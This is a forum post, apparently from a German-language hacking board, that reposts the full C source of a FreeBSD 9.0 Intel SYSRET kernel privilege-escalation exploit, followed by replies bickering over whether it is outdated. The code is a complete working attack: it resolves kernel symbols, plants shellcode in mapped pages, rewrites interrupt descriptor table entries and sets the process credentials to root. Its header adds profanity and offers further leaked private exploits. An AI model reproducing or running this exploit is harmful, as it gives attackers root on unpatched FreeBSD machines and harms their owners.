FreeBSD Intel SYSRET Kernel Privilege Escalation Exploit

[GoogleDownTime]

/*
 * FreeBSD 9.0 Intel SYSRET Kernel Privilege Escalation exploit
 * Author by CurcolHekerLink
 *
 * This exploit based on open source project, I can make it open source too. Right?
 *
 * If you blaming me for open sourcing this exploit, you can fuck your mom. Free of charge :)
 *
 * Credits to KEPEDEAN Corp, Barisan Sakit Hati, ora iso sepaying meneh hekerlink,
 * Kismin perogeremer cyber team, petboylittledick, 1337 Curhat Crew and others at #MamaDedehEliteCurhatTeam
 * if you would like next private exploit leakage, just mention @MamahhDedeh
 *
 * Some people may feel harmed when we release this exploit :))
 *
 * p.s: Met idul Adha ya besok, saatnya potong leher dewa lo... eh maksudnya potong Sapisisasi :))
 *
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <machine/cpufunc.h>
#define _WANT_UCRED
#include <sys/proc.h>
#include <machine/segments.h>
#include <sys/param.h>
#include <sys/linker.h>
#define TRIGGERSIZE 20
#define BOUNCESIZE 18
 
uintptr_t Xdivp, Xdbgp, Xbptp, Xoflp, Xbndp, Xillp, Xdnap, Xfpusegmp, Xtssp, Xmissingp, Xstkp, Xprotp, Xpagep, Xfpup, Xalignp, Xmchkp, Xxmmp;
 
struct gate_descriptor * sidt()
{
    struct region_descriptor idt;
    asm ("sidt %0": "=m"(idt));
    return (struct gate_descriptor*)idt.rd_base;
}
 
u_long matchsym(char *symname)
{
    struct kld_sym_lookup ksym;
    ksym.version = sizeof (ksym);
    ksym.symname = symname;
    if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
        perror("kldsym");
        exit(1);
    }
    return ksym.symvalue;
}
 
void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
{
    struct gate_descriptor *ip;
    ip = idt + idx;
    ip->gd_looffset = func;
    ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
    ip->gd_ist = ist;
    ip->gd_xx = 0;
    ip->gd_type = typ;
    ip->gd_dpl = dpl;
    ip->gd_p = 1;
    ip->gd_hioffset = func>>16;
}
 
void payload()
{
    printf("[+] Woohoo!!!\n");
    exit(0);
}
 
void resetidt()
{
    struct thread *td;
    struct ucred *cred;
    struct gate_descriptor *idt = sidt();
    setidt(idt, IDT_DE, Xdivp, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_DB, Xdbgp, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_BP, Xbptp, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_OF, Xoflp, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_BR, Xbndp, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_UD, Xillp, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_NM, Xdnap, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_FPUGP, Xfpusegmp, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_TS, Xtssp, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_NP, Xmissingp, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_SS, Xstkp, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_GP, Xprotp, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_PF, Xpagep, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_MF, Xfpup, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_AC, Xalignp, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_MC, Xmchkp, SDT_SYSIGT, SEL_KPL, 0);
    setidt(idt, IDT_XF, Xxmmp, SDT_SYSIGT, SEL_KPL, 0);
     
    asm ("mov %%gs:0, %0" : "=r"(td));
     
    cred = td->td_proc->p_ucred;
    cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
    cred->cr_groups[0] = 0;
     
    asm ("swapgs; sysretq;" :: "c"(payload));
}
 
void resolving()
{
    Xdivp = (uintptr_t)matchsym("Xdiv");
    Xdbgp = (uintptr_t)matchsym("Xdbg");
    Xbptp = (uintptr_t)matchsym("Xbpt");
    Xoflp = (uintptr_t)matchsym("Xofl");
    Xbndp = (uintptr_t)matchsym("Xbnd");
    Xillp = (uintptr_t)matchsym("Xill");
    Xdnap = (uintptr_t)matchsym("Xdna");
    Xfpusegmp = (uintptr_t)matchsym("Xfpusegm");
    Xtssp = (uintptr_t)matchsym("Xtss");
    Xmissingp = (uintptr_t)matchsym("Xmissing");
    Xstkp = (uintptr_t)matchsym("Xstk");
    Xprotp = (uintptr_t)matchsym("Xprot");
    Xpagep = (uintptr_t)matchsym("Xpage");
    Xfpup = (uintptr_t)matchsym("Xfpu");
    Xalignp = (uintptr_t)matchsym("Xalign");
    Xmchkp = (uintptr_t)matchsym("Xmchk");
    Xxmmp = (uintptr_t)matchsym("Xxmm");
}
 
void trigger()
{
    printf("[+] Crotz...\n");
    uint64_t pagesize = getpagesize();
    uint8_t * mappedarea = (uint8_t*)((1ULL << 47) - pagesize);
    mappedarea = mmap(mappedarea, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
    if (mappedarea == MAP_FAILED) {
        perror("mmap (trigger)");
        exit(1);
    }
 
    char triggerpayload[] =
        "\xb8\x18\x00\x00\x00"
        "\x48\x89\xe3"
        "\x48\xbc\xef\xbe\xad\xde\xef\xbe\xad\xde"
        "\x0f\x05";
 
    uint8_t * offset_addr = mappedarea + pagesize - TRIGGERSIZE;
    memcpy(offset_addr, triggerpayload, TRIGGERSIZE);
 
    *(uint64_t*)(offset_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
    printf("[+] Crotz...\n");
    char bouncepayload[] =
        "\x0f\x01\xf8"
        "\x48\x89\xdc"
        "\x48\xb8\xef\xbe\xad\xde\xef\xbe\xad\xde"
        "\xff\xe0";
 
    uint8_t * bouncer = (uint8_t*)(0x900000000 | (Xpagep & 0xFFFFFFFF));
    size_t bouncer_allocsize = pagesize;
    if ((uint8_t*)((uint64_t)bouncer & ~(pagesize-1)) + pagesize < bouncer + BOUNCESIZE)
        bouncer_allocsize += pagesize;
    if (mmap((void*)((uint64_t)bouncer & ~(pagesize-1)), bouncer_allocsize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
    {
        perror("mmap (bouncer)");
        exit(1);
    }
    memcpy(bouncer, bouncepayload, BOUNCESIZE);
    *(uint64_t*)(bouncer + 8) = (uint64_t)resetidt;
    ((void (*)())offset_addr)();
}
 
int main(int argc, char *argv[])
{
    printf("[+] SYSRET FUCKUP!!\n");
    printf("[+] Start Engine...\n");
    resolving();
    printf("[+] Crotz...\n");
    trigger();
    return 0;
}






Comments
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© Offensive Security 2013

['oShet]

1 Jahr alt aber egal. Hauptsache du machst hier auf hacker, aber weißt nicht mal wie man nen exploit benutzt oder was dieser bewirkt.

[.кυѕн]

Hast du die Erlaubnis das zu 'Releasen'?

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Hier:

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[Palassa]

Copy and Paste sry

[Adam1519]

?

['Aljehry]

Ehm, Thankshuntig ,... UNNÖTIG

[GoogleDownTime]

Originally Posted by 'oShet

1 Jahr alt aber egal. Hauptsache du machst hier auf hacker, aber weißt nicht mal wie man nen exploit benutzt oder was dieser bewirkt.

Ich wusste garnicht das Freebsd 9.0 2012 released wurde informiere dich mal besser bevor du mitredest. Dieser Thread dient auch nicht zum Thanks hunting oder i-was anderes lediglich zur information deswegen sind die credits im code auch noch vermerkt ihr idioten es ist ein aktueller Exploit für freebsd 9.0 und wer ihn nicht fixxt hat halt pech gehabt.

[Water Lily 404]

Freebsd 9.0 wurde am 12. Januar 2012 Veröffentlicht Schwachkopf dieser Exploit ist nutzlos.